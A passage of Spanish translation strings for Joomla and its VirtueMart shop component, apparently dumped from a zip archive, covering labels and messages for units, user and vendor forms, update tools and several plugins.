usar estas herramientas debe marcar '%1$s' en el Panel de la configuración.." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_STILL_ENABLED="Las opciónes de configuración '%1$s' están activas. Por favor desactívelas por seguridadPanel de configuración./a>." COM_VIRTUEMART_SYSTEM_DEFAULTS_RESTORED="¡Predeterminados del sistema restaurados!" COM_VIRTUEMART_SYSTEM_VMDATA_DELETED="Datos de Virtuemart Borrados" COM_VIRTUEMART_SYSTEM_VMTABLES_DELETED="Tablas VirtueMart borradas" COM_VIRTUEMART_TAX_EFFECTING="Impuesto aplicado:" COM_VIRTUEMART_TEMPLATE_DEFAULT="Template predeterminado" COM_VIRTUEMART_TEXTAREA_ATTRIBUTES="Atributos del área de texto" COM_VIRTUEMART_TEXTFIELD_ATTRIBUTES="Atributos del campo de texto" COM_VIRTUEMART_THANK_MESSAGE="Gracias por su pregunta. Lo contactaremos lo más pronto posible" COM_VIRTUEMART_THRD_PARTY_CONTACT="contacta con el desarrollador %1$s" COM_VIRTUEMART_THRD_PARTY_MANUAL="manual para %1$s" COM_VIRTUEMART_THUMB_NOT_FOUND="Thumbnail no encontrado" COM_VIRTUEMART_TIME="Hora" COM_VIRTUEMART_TITLE="Título" COM_VIRTUEMART_TITLE_IN_FIELDVALUES_CONTAINS_INVALID_CHARACTERS="Los valores de hora contienen carácteres no validos" COM_VIRTUEMART_TOGGLE_ADMIN="Cambiar administración" COM_VIRTUEMART_TOGGLE_HIDDEN="Cambiar oculto" COM_VIRTUEMART_TOOLS_MOD="Herramientas" COM_VIRTUEMART_TOOLS_RENEW_CONFIG="Renovar la configuración por archivo" COM_VIRTUEMART_TOOLS_RENEW_CONFIG_CONFIRM="Borrar la configuración almacenada en la base de datos y recarga valores por omisión." COM_VIRTUEMART_TOOLS_RENEW_CONFIG_EXPLAIN="

            Los detalles de configuración pueden restablecerse con la edición de /administrator/components/com_virtuemart/virtuemart_defaults.cfg

            " COM_VIRTUEMART_TOOLS_SYNC_JOOMLA_USERS="Sincronizar usuarios Joomla" COM_VIRTUEMART_TOOLS_SYNC_MEDIAS_EXPLAIN="Cargue sus archivos de imagen a la ruta:
            URL de archivos de imagen: %s
            Url de archivos de categoría: %s
            URL de fabricantes: %s

            Puede cambiar estas rutas en la configuración.

            " COM_VIRTUEMART_TOOLS_SYNC_MEDIA_FILES="Sincronizar medios con Virtuemart" COM_VIRTUEMART_TOTAL="Total" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY="Para establecer la categoría principal" COM_VIRTUEMART_TO_SET_PARENT_CATEGORY_VIEW="Para establecer la vista de categoría principal" COM_VIRTUEMART_TO_SET_PRODUCT="Para establecer el producto" COM_VIRTUEMART_TO_SET_PRODUCT_VIEW="Para establecer la vista de producto" COM_VIRTUEMART_TYPE="Tipo" COM_VIRTUEMART_TYPES="Tipos" COM_VIRTUEMART_UNCATEGORIZED="--Sin categoría--" COM_VIRTUEMART_UNINSTALL_NOTE="Nota de desinstalación" COM_VIRTUEMART_UNINSTALL_NOTE_DESC="Desinstalar Virtuemart no remueve las tablas de tu base de datos, esto esta creado intencionalmente para permitirte la actualización a nuevas versiones de VirtueMart.
            Para borrar las tablas borra aquellas con el prefijo _virtuemart_ ." COM_VIRTUEMART_UNINSTALL_THANKYOU="¡Gracias por usar Virtuemart" COM_VIRTUEMART_UNIT_NAME_100MG="100 miligramos" COM_VIRTUEMART_UNIT_NAME_100ML="100 mililitros" COM_VIRTUEMART_UNIT_NAME_CM="Centímetros" COM_VIRTUEMART_UNIT_NAME_CUBM="Metros cúbicos" COM_VIRTUEMART_UNIT_NAME_FOOT="Pie" COM_VIRTUEMART_UNIT_NAME_G="Gramo" COM_VIRTUEMART_UNIT_NAME_INCH="Pulgadas" COM_VIRTUEMART_UNIT_NAME_KG="Kilogramo" COM_VIRTUEMART_UNIT_NAME_L="Litro" COM_VIRTUEMART_UNIT_NAME_LB="Libras" COM_VIRTUEMART_UNIT_NAME_M="Metros" COM_VIRTUEMART_UNIT_NAME_MG="Miligramo" COM_VIRTUEMART_UNIT_NAME_MM="Mililitros" COM_VIRTUEMART_UNIT_NAME_ONCE="Onza" COM_VIRTUEMART_UNIT_NAME_SM="Metros cuadrados" COM_VIRTUEMART_UNIT_NAME_YARD="Yardas" COM_VIRTUEMART_UNIT_SYMBOL_100MG="100 mg." COM_VIRTUEMART_UNIT_SYMBOL_100ML="100 ml." COM_VIRTUEMART_UNIT_SYMBOL_CM="cm." COM_VIRTUEMART_UNIT_SYMBOL_CUBM="m³" COM_VIRTUEMART_UNIT_SYMBOL_FOOT="pies" COM_VIRTUEMART_UNIT_SYMBOL_G="g." COM_VIRTUEMART_UNIT_SYMBOL_INCH="pulg." COM_VIRTUEMART_UNIT_SYMBOL_KG="kg." COM_VIRTUEMART_UNIT_SYMBOL_L="l." COM_VIRTUEMART_UNIT_SYMBOL_LB="lb." COM_VIRTUEMART_UNIT_SYMBOL_M="m." COM_VIRTUEMART_UNIT_SYMBOL_MG="mg." COM_VIRTUEMART_UNIT_SYMBOL_MM="mm." COM_VIRTUEMART_UNIT_SYMBOL_OUNCE="onzas" COM_VIRTUEMART_UNIT_SYMBOL_SM="m²" COM_VIRTUEMART_UNIT_SYMBOL_YARD="yd." COM_VIRTUEMART_UNPUBLISH="Despublicar" COM_VIRTUEMART_UNPUBLISHED="Despublicado" COM_VIRTUEMART_UNPUBLISH_ITEM="Articulo no publicado" COM_VIRTUEMART_UNWRITABLE="No escribible" COM_VIRTUEMART_UPDATE="Actualizar" COM_VIRTUEMART_UPDATEDATABASE="Instalar tablas
            O si es necesario
            actualizálas" COM_VIRTUEMART_UPDATEDATABASE_CONFIRM_JS="¿Instalar/Actualizar tablas?" COM_VIRTUEMART_UPDATE_ALL="todo" COM_VIRTUEMART_UPDATE_CHECK_CHECKNOW="Verificar ahora" COM_VIRTUEMART_UPDATE_CHECK_DLUPDATE="Descargar actualización" COM_VIRTUEMART_UPDATE_CHECK_LATEST_VERSION="Ultima versión de Virtuemart" COM_VIRTUEMART_UPDATE_CHECK_VERSION_INSTALLED="La versión de Virtuemart Instalada" COM_VIRTUEMART_UPDATE_GENERAL="general" COM_VIRTUEMART_UPDATE_INSTALLSAMPLE_CONFIRM="Esto instalara los datos de ejemplo de VM. ¿Esta seguro?" COM_VIRTUEMART_UPDATE_MIGRATION="Actualización y migración de datos" COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MAX_EXECUTION_TIME="Maximo tiempo de ejecución del servidor" COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MEMORY_LIMIT="Limite de memoria del servidor" COM_VIRTUEMART_UPDATE_MIGRATION_STRING="Elija una táreade migración" COM_VIRTUEMART_UPDATE_MIGRATION_STRING_CONFIRM="¿Comenzar migración %s?" COM_VIRTUEMART_UPDATE_MIGRATION_TITLE="Migración de datos de Virtuemart 1.1.x y Virtuemart 2.y.z" COM_VIRTUEMART_UPDATE_MIGRATION_TOOLS_WARNING="

            Advertencia

            Use estas herramientas solo si sabe lo que esta haciendo. Pueden destruir su tienda completamente. Esta herramienta esta pensada para desarrolladores.
            Con excepción del BORRAR TODOS LOS DATOS, pensada para gente que desea borrar la base de datos completa. Usese con precaución.Cuando se use en una tienda dañada, haga primero una copia de seguridad." COM_VIRTUEMART_UPDATE_NONEWVERSION="Esta usando la ultima versión de Virtuemart" COM_VIRTUEMART_UPDATE_ORDERS="pedidos" COM_VIRTUEMART_UPDATE_PATCH_APPLY="Aplicar parche ahora" COM_VIRTUEMART_UPDATE_PATCH_CONFIRM_TEXT="He leido la
            Advertencia Y estoy seguro de querer aplicar el parche a mi instalación de VM." COM_VIRTUEMART_UPDATE_PATCH_DATE="Fecha de lanzamiento" COM_VIRTUEMART_UPDATE_PATCH_DESCRIPTION="Descripción" COM_VIRTUEMART_UPDATE_PATCH_DETAILS="Detalles del parche" COM_VIRTUEMART_UPDATE_PATCH_ERR_UNWRITABLE="No todos los archivos/carpetas que necesitan ser cambiados son escribibles. Corrija los permisos primero." COM_VIRTUEMART_UPDATE_PATCH_FILESTOUPDATE="Archivos a actualizar" COM_VIRTUEMART_UPDATE_PATCH_PLEASEMARK_JS="Por favor, marque la caja de verificación antes de instalar el parche." COM_VIRTUEMART_UPDATE_PATCH_QUERYTOEXEC="Consultas que será n ejecutadas en la base de datos." COM_VIRTUEMART_UPDATE_PATCH_STATUS="Estado" COM_VIRTUEMART_UPDATE_PATCH_UNWRITABLE="Archivo/directorio no escribible" COM_VIRTUEMART_UPDATE_PATCH_WRITABLE="Escribible" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT="Archivos %1%s de media sincronizados en el directorio %3%s." COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_FINISH="Todos los archivos sincronizados %1$s" COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_NOT_FINISH="La sincronización no esta terminada, ejecútela de nuevo" COM_VIRTUEMART_UPDATE_PRODUCTS="productos" COM_VIRTUEMART_UPDATE_REMOVEDATA="Remover
            datos de virtuemart" COM_VIRTUEMART_UPDATE_REMOVEDATA_CONFIRM_JS="Esto borrara todos los datos de Virtuemart ¿Esta seguro?" COM_VIRTUEMART_UPDATE_REMOVETABLES="Remover
            tablas de virtuemart" COM_VIRTUEMART_UPDATE_REMOVETABLES_CONFIRM_JS="Esto borrara todas las tablas de Virtuemart dejándolo inservible ¿Esta seguro?" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS="Restaurar
            Predeterminados del sistema" COM_VIRTUEMART_UPDATE_RESTOREDEFAULTS_CONFIRM_JS="Esto restaurara la configuración predeterminada ¿Esta seguro?" COM_VIRTUEMART_UPDATE_STATUS="Actualizar estado de Pedido" COM_VIRTUEMART_UPDATE_TOOLS_TAB="Herramientas de Base de datos" COM_VIRTUEMART_UPDATE_USERS="usuarios" COM_VIRTUEMART_UPDATE_VMPLUGINTABLES="Actualizar tablas de Plugins VM" COM_VIRTUEMART_UPDATE_WARNING_TEXT="Instalar una actualización a Virtuemart usando un parche puede dañar su tienda si ha efectuado alguna modificación a un componente. El proceso de parcheo puede sobreescribir todos los archivos senalado debajo - No aplicara cambios pequeños, sino sustituira todos los archivos. Si ha modificado los archivos Virtuemart por su cuenta, Esto puede provocar inconsistencias y perdida de clases o dependencias de funciones." COM_VIRTUEMART_UPDATE_WARNING_TITLE="Advertencia general" COM_VIRTUEMART_UPGRADE_SUCCESSFUL="La actualización fue EXITOSA" COM_VIRTUEMART_UPLOADED_FILE_NAME_EXISTS="Ya existe un archivo con el mismo nombre" COM_VIRTUEMART_URL="URL" COM_VIRTUEMART_USEND_MSG="Hola %s, Gracias por resgistrarse en %s. Debe acceder en %s usando su nombre de usuario y contraseña registradas." COM_VIRTUEMART_USEND_MSG_ACTIVATE="Hola %s, Gracias por registrarse en %s. Su cuenta ha sido creada y debe ser activada antes de que pueda usarla. Para activar la cuenta de clic en el enlace siguiente o cópielo y péguelo en su browser" COM_VIRTUEMART_USER="Comprador" COM_VIRTUEMART_USERFIELD="Campo de comprador" COM_VIRTUEMART_USERFIELDS="Campo de usuario" COM_VIRTUEMART_USERFIELDS_ADDVALUE="Agregar un valor" COM_VIRTUEMART_USERFIELDS_ADDVALUES_TIP="Use la tabla debajo para agregar nuevos valores" COM_VIRTUEMART_USERFIELDS_COLUMNS="Columnas" COM_VIRTUEMART_USERFIELDS_DESCRIPTION="Descripción / Tip" COM_VIRTUEMART_USERFIELDS_FORM_LBL="Información adicional" COM_VIRTUEMART_USERFIELDS_HYPERTEXT_URL="Hipervínculos e hipertexto" COM_VIRTUEMART_USERFIELDS_MAXLENGTH="Longitud máxima" COM_VIRTUEMART_USERFIELDS_PLUGIN_TIP="Parámetros extra del plugin" COM_VIRTUEMART_USERFIELDS_READONLY="Solo lectura" COM_VIRTUEMART_USERFIELDS_ROWS="Filas" COM_VIRTUEMART_USERFIELDS_SIZE="Tamaño de campo" COM_VIRTUEMART_USERFIELDS_URL_ONLY="Solo URL" COM_VIRTUEMART_USERFIELD_DETAILS="Campo de detalles de comprador" COM_VIRTUEMART_USERFIELD_S="Campos de comprador" COM_VIRTUEMART_USERGROUPS_ADD="Agregar /editar un grupo de usuarios" COM_VIRTUEMART_USERGROUPS_LEVEL="Nivel de grupo de usuario" COM_VIRTUEMART_USERGROUPS_LIST=" Lista de grupo de usuario" COM_VIRTUEMART_USERGROUPS_LIST_NAME="Nombre de grupo de usuario" COM_VIRTUEMART_USERGROUP_DETAILS="Detalles de grupo de usuario" COM_VIRTUEMART_USERINFO_ID="id de información de usuario" COM_VIRTUEMART_USERNAME="Nombre de usuario" COM_VIRTUEMART_USERS="Usuarios" COM_VIRTUEMART_USERS_SYNCRONIZED="¡Usuarios sincronizados!" COM_VIRTUEMART_USER_DATA_STORED="Datos de usuario guardados" COM_VIRTUEMART_USER_DELETE_ST="Borrar dirección" COM_VIRTUEMART_USER_DISPLAYED_NAME="Nombre mostrado" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_DESC="Muestra al usuario editar Dirección" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_TITLE="Editar Dirección de Usuario" COM_VIRTUEMART_USER_ERR_LASTSUPERADMIN="No puede borrar este usuario porque es el único super-administrador de su sitio" COM_VIRTUEMART_USER_ERR_ONLYSUPERADMIN="No puede cambiar el grupo de este usuario porque es el único super-administrador del sitio." COM_VIRTUEMART_USER_FORM_ADDRESS_1="Domicilio 1" COM_VIRTUEMART_USER_FORM_ADDRESS_2="Domicilio 2" COM_VIRTUEMART_USER_FORM_ADDRESS_LABEL="Alias de Domicilio" COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL="Agregar domicilio" COM_VIRTUEMART_USER_FORM_BILLTO_LBL="Información de facturación" COM_VIRTUEMART_USER_FORM_BLOCKUSER="Bloquear usuario" COM_VIRTUEMART_USER_FORM_CITY="Ciudad" COM_VIRTUEMART_USER_FORM_COMPANY_NAME="Compañía" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_CHANGEBUTTON="Cambiar detalles de contacto" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_FAX="Fax" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_NAME="Nombre" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_POSITION="Posición" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_TELEPHONE="Teléfono" COM_VIRTUEMART_USER_FORM_COUNTRY="Pais" COM_VIRTUEMART_USER_FORM_CUSTOMER_NUMBER="ID / Número de Cliente" COM_VIRTUEMART_USER_FORM_FAX="Fax" COM_VIRTUEMART_USER_FORM_FIRST_NAME="Nombre" COM_VIRTUEMART_USER_FORM_GROUP="Grupo" COM_VIRTUEMART_USER_FORM_LASTVISITDATE="Ultima visita" COM_VIRTUEMART_USER_FORM_LASTVISIT_NEVER="Nunca" COM_VIRTUEMART_USER_FORM_LAST_NAME="Apellido" COM_VIRTUEMART_USER_FORM_LBL="Información de usuario" COM_VIRTUEMART_USER_FORM_LEGEND_CONTACTINFO="Información de contacto" COM_VIRTUEMART_USER_FORM_LEGEND_PARAMETERS="Parámetros" COM_VIRTUEMART_USER_FORM_LEGEND_USERDETAILS="Detalles de usuario" COM_VIRTUEMART_USER_FORM_MIDDLE_NAME="Segundo nombre" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED="¡Rellene los campos requeridos?" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED_OTHER_TAB="Llene los campos requeridos, debería de ver la pestaña %s" COM_VIRTUEMART_USER_FORM_NEWPASSWORD="Nueva contraseña" COM_VIRTUEMART_USER_FORM_NOCONTACTDETAILS_1="No hay detalles de contacto para este usuario" COM_VIRTUEMART_USER_FORM_NOCONTACTDETAILS_2="Ver Componentes -> Contacto-> Administrar contacto para detalles." COM_VIRTUEMART_USER_FORM_PERMS="Permisos" COM_VIRTUEMART_USER_FORM_PHONE2="Celular" COM_VIRTUEMART_USER_FORM_PHONE="Teléfono" COM_VIRTUEMART_USER_FORM_RECEIVESYSTEMEMAILS="Recibir email del sistema" COM_VIRTUEMART_USER_FORM_REGISTERDATE="Fecha de registro" COM_VIRTUEMART_USER_FORM_SHIPTO_LBL="Dirección de envío" COM_VIRTUEMART_USER_FORM_STATE="Estado / Provincia / Región" COM_VIRTUEMART_USER_FORM_TAB_GENERALINFO="Información general de usuario" COM_VIRTUEMART_USER_FORM_TITLE="Título" COM_VIRTUEMART_USER_FORM_VERIFYPASSWORD="Confirmar contraseña" COM_VIRTUEMART_USER_FORM_ZIP="Zip / Código postal" COM_VIRTUEMART_USER_GROUP="Grupo" COM_VIRTUEMART_USER_ID="ID de usuario" COM_VIRTUEMART_USER_ISNOTVENDOR="No es vendedor" COM_VIRTUEMART_USER_ISVENDOR="Es vendedor" COM_VIRTUEMART_USER_IS_VENDOR="¿Vendedor?" COM_VIRTUEMART_USER_LIST_LBL="Lista de compradores" COM_VIRTUEMART_USER_NOSHIPPINGADDR="No dirección de envío" COM_VIRTUEMART_USER_REGISTRATION_DISABLED="El registro de usuarios esta desactivado, debe habilitarlo para proceder" COM_VIRTUEMART_USER_S="Compradores" COM_VIRTUEMART_USER_SAVED="Comprador guardado" COM_VIRTUEMART_USER_USERNAME_INCOMPLETE_PROFILE="Usuario %s tiene información incompleta" COM_VIRTUEMART_USER_VIEW_DEFAULT_DESC="Muestra el mantenimiento de cuenta de comprador" COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE="Mantenimiento de cuentas Virtuemart" COM_VIRTUEMART_VALUE="Valor" COM_VIRTUEMART_VALUES_ARE_REQUIRED_FOR_THIS_TYPE="Valores requeridos para este campo" COM_VIRTUEMART_VENDOR="Vendedor" COM_VIRTUEMART_VENDOR_DATA_STORED="Datos de vendedor guardados" COM_VIRTUEMART_VENDOR_FIELD_SELECT_DESC="Selecciona un Vendedor" COM_VIRTUEMART_VENDOR_FIELD_SELECT_TITLE="Selecciona Vendedor" COM_VIRTUEMART_VENDOR_FORM_FULL_IMAGE="Imagen completa" COM_VIRTUEMART_VENDOR_FORM_INFO_LBL="Información de vendedor" COM_VIRTUEMART_VENDOR_FORM_THUMB_IMAGE="Imagen thumbnail" COM_VIRTUEMART_VENDOR_ID="vendedor" COM_VIRTUEMART_VENDOR_IMAGE="Imagen del vendedor" COM_VIRTUEMART_VENDOR_NAME="Nombre de vendedor" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_DESC="Muestra Detalles de vendedor Virtuemart" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_TITLE="Muestra Detalles de vendedor Virtuemart" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_DESC="Muestra Vendedores Virtuemart" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_TITLE="Muestra Vendedores Virtuemart" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_DESC="Muestra detalles Vendedores Virtuemart" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_TITLE="Muestra detalles Vendedores Virtuemart" COM_VIRTUEMART_VENDOR_VIEW_TOS_DESC="Ver Condiciones de Vendedor" COM_VIRTUEMART_VENDOR_VIEW_TOS_TITLE="Ver Condiciones de Vendedor" COM_VIRTUEMART_VERSIONCHECK_TITLE="Verificar versión de Virtuemart" COM_VIRTUEMART_VIEW="Ver" COM_VIRTUEMART_VIRTUEMART_CUSTOM_ID="id personalizado" COM_VIRTUEMART_VIRTUEMART_ORDER_ID="ID Pedido" COM_VIRTUEMART_VIRTUEMART_PRODUCT_ID="ID Producto" COM_VIRTUEMART_VIRTUEMART_STATE_IDS="Estados" COM_VIRTUEMART_VIRTUEMART_USERINFO_ID="id información de usuario" COM_VIRTUEMART_VIRTUEMART_USER_ID="id usuario" COM_VIRTUEMART_VIRTUEMART_VENDOR_ID="vendedor" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE="Layout por defecto de Virtuemart" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE_DESC="Muestra la página inicial de Virtuemart" COM_VIRTUEMART_VISIBLE_FOR_SHOPPER="Visible al comprador" COM_VIRTUEMART_VISIBLE_FOR_VENDOR="Visible al vendedor" COM_VIRTUEMART_WAITING_LIST_DELETE_ERR_PRODUCT="Debe agregar un ID para borrar" COM_VIRTUEMART_WAITING_LIST_DELETE_SELECT="Seleccione un id de espera para borrar" COM_VIRTUEMART_WAITING_LIST_ERR_ALREADY="Usted esta siendo ya notificado acerca de este producto" COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_ENTER="Debe ingresar un domicilio en la lista de espera" COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_NOTVALID="Ingrese una dirección de email valida." COM_VIRTUEMART_WAITING_LIST_ERR_PRODUCT="Debe ingresar un producto para la lista de espera" COM_VIRTUEMART_WARN_NO_SAFE_PATH_SET="Atención, el %1$s está vacio, por razones de seguridad es muy importante para crear una carpeta en una ruta no accesible por una dirección URL, crea también una carpeta de facturas en ella para almacenar seguros sus datos sensibles. Nuestra ruta es sugerido para su sistema es %2$s " COM_VIRTUEMART_WARN_SAFE_PATH_NO_INVOICE="Lo sentimos, no fue capaz de crear el directorio para las facturas en %1$s, por favor cree manualmente la carpeta \"_QQ_"invoices\"_QQ_" " COM_VIRTUEMART_WARN_SAFE_PATH_WRONG="Atención, el %1$s es INCORRECTO, por razones de seguridad es muy importante para crear una carpeta en una ruta no accesible por una dirección URL, crea también una carpeta de facturas en ella para almacenar seguros sus datos sensibles. Nuestra ruta es sugerido para su sistema es %2$s " COM_VIRTUEMART_WEEK="Semana" COM_VIRTUEMART_WEEKS="Semanas" COM_VIRTUEMART_WEEK_S="Semanas" COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT="Unidad de peso predeterminada" COM_VIRTUEMART_WEIGHT_UNIT_DEFAULT_EXPLAIN="La unidad de pero predeterminada usada para los productos, este valor puede ser establecido por producto" COM_VIRTUEMART_WORLDZONE="Zona" COM_VIRTUEMART_WRITABLE="Escribible" COM_VIRTUEMART_X_CHILD_PRODUCT="%s derivado" COM_VIRTUEMART_YEAR="Año" COM_VIRTUEMART_YEAR_S="Años" COM_VIRTUEMART_YES="Si" COM_VIRTUEMART_YOUR_VERSION="Su versión" COM_VIRTUEMART_ZONE_ASSIGN_CURRENT_LBL="Zona Actual"PK@y>\]  'language/es-ES/es-ES.mod_status.sys.ininuW+A; $Id: es-ES.mod_status.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_STATUS="Estado del usuario" MOD_STATUS_XML_DESCRIPTION="Este módulo muestra el estado de los usuarios identificados." MOD_STATUS_LAYOUT_DEFAULT="Predeterminado" PK@y>\aP,,#language/es-ES/es-ES.mod_logged.ininuW+A; $Id: es-ES.mod_logged.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_LOGGED="Usuarios identificados" MOD_LOGGED_ADMINISTRATOR="Administración" MOD_LOGGED_EDIT_USER="Editar usuario" MOD_LOGGED_FIELD_COUNT_DESC="La cantidad de elementos a mostrar (Predeterminadamente son 5)" MOD_LOGGED_FIELD_COUNT_LABEL="Cantidad" MOD_LOGGED_FIELD_NAME_DESC="Mostrar nombre o usuario" MOD_LOGGED_LAST_ACTIVITY="Última actividad" MOD_LOGGED_LOGOUT="Desconectar" MOD_LOGGED_NAME="Nombre" MOD_LOGGED_SITE="Sitio" MOD_LOGGED_TITLE="Los últimos usuarios conectados" MOD_LOGGED_TITLE_1="El último usuario conectado" MOD_LOGGED_TITLE_MORE="Los %s últimos usuarios conectados" MOD_LOGGED_XML_DESCRIPTION="Este módulo muestra un listado con los usuarios que actualmente se han identificado en el sitio" PK@y>\-k2language/es-ES/es-ES.plg_editors-xtd_image.sys.ininuW+A; $Id: es-ES.plg_editors-xtd_image.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_EDITORS-XTD_IMAGE="Botón - Imagen" PLG_IMAGE_XML_DESCRIPTION="Se muestra un botón que permite insertar imágenes dentro de un artículo. También se muestra una ventana emergente que permite configurar las propiedades de la imagen y subir nuevos archivos de imagen." PK@y>\'6language/es-ES/es-ES.plg_system_languagefilter.sys.ininuW+A; $Id: es-ES.plg_system_languagefilter.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SYSTEM_LANGUAGEFILTER="Sistema - Filtrar idiomas" PLG_SYSTEM_LANGUAGEFILTER_XML_DESCRIPTION="Este plugin filtra el contenido a mostrar dependiendo del idioma." PK@y>\xyy*language/es-ES/es-ES.com_newsfeeds.sys.ininuW+A; $Id: es-ES.com_newsfeeds.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_NEWSFEEDS="Canales electrónicos" COM_NEWSFEEDS_CATEGORIES="Categorías" COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_DESC="Mostrar todas las categorías de canales electrónicos que hay dentro de una categoría, en formato del tipo lista o tabla." COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_OPTION="Predeterminado" COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_TITLE="Mostrar todas las categorías de canales electrónicos" COM_NEWSFEEDS_CATEGORY_ADD_TITLE="Gestor de categorías: Añadir una nueva categoría de canales electrónicos" COM_NEWSFEEDS_CATEGORY_EDIT_TITLE="Gestor de categorías: Editar una categoría de canales electrónicos" COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_DESC="Mostrar todos los canales electrónicos que hay dentro de una categoría, en formato del tipo lista o tabla." COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_OPTION="Predeterminado" COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_TITLE="Mostrar todos los canales electrónicos de una categoría" COM_NEWSFEEDS_FEEDS="Canal electrónico" COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_DESC="Muestra un solo canal electrónico." COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_OPTION="Predeterminado" COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_TITLE="Mostrar un solo canal electrónico" COM_NEWSFEEDS_XML_DESCRIPTION="Este componente gestiona canales electrónicos del tipo RSS y Atom." PK@y>\K K .language/es-ES/es-ES.plg_content_pagebreak.ininuW+A; $Id: es-ES.plg_content_pagebreak.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CONTENT_PAGEBREAK="Contenido - Salto de página" PLG_CONTENT_PAGEBREAK_ALL_PAGES=" Todas las páginas" PLG_CONTENT_PAGEBREAK_ARTICLE_INDEX="Índice del artículo" PLG_CONTENT_PAGEBREAK_NO_TITLE="Sin título" PLG_CONTENT_PAGEBREAK_PAGES="Páginas" PLG_CONTENT_PAGEBREAK_PAGE_NUM="Página %s" PLG_CONTENT_PAGEBREAK_SHOW_ALL_DESC="Mostrar el artículo completo." PLG_CONTENT_PAGEBREAK_SHOW_ALL_LABEL="Mostrar todo" PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEXTEXT="Índice de la tabla personalizado" PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEXTEXT_DESC="Introduzca un texto personalizado para el índice del artículo. Si se deja vacío, se usará el estándar." PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEX_DESC="Mostrar u ocultar el índice de la tabla. El encabezado se muestra en la parte superior de la tabla de contenido." PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEX_LABEL="Índice de la tabla" PLG_CONTENT_PAGEBREAK_SITE_TITLE_DESC="Título y atributos del encabezado para el plugin añadidos a la etiqueta del título del sitio" PLG_CONTENT_PAGEBREAK_SITE_TITLE_LABEL="Mostrar título del sitio" PLG_CONTENT_PAGEBREAK_SLIDERS="Deslizadores" PLG_CONTENT_PAGEBREAK_STYLE_DESC="Elija cómo presentar el artículo: Páginas separadas, pestañas o deslizadores." PLG_CONTENT_PAGEBREAK_STYLE_LABEL="Estilo de presentación" PLG_CONTENT_PAGEBREAK_TABS="Pestañas" PLG_CONTENT_PAGEBREAK_TOC_DESC="Mostrar una tabla de contenidos en los artículos de múltiples páginas." PLG_CONTENT_PAGEBREAK_TOC_LABEL="Tabla de contenidos" PLG_CONTENT_PAGEBREAK_XML_DESCRIPTION="Se añade la funcionalidad de una tabla de contenido a un artículo con paginación. Esto se realiza automáticamente cuando se usa el botón de salto de página dentro de un artículo. El salto de página se mostrará en la 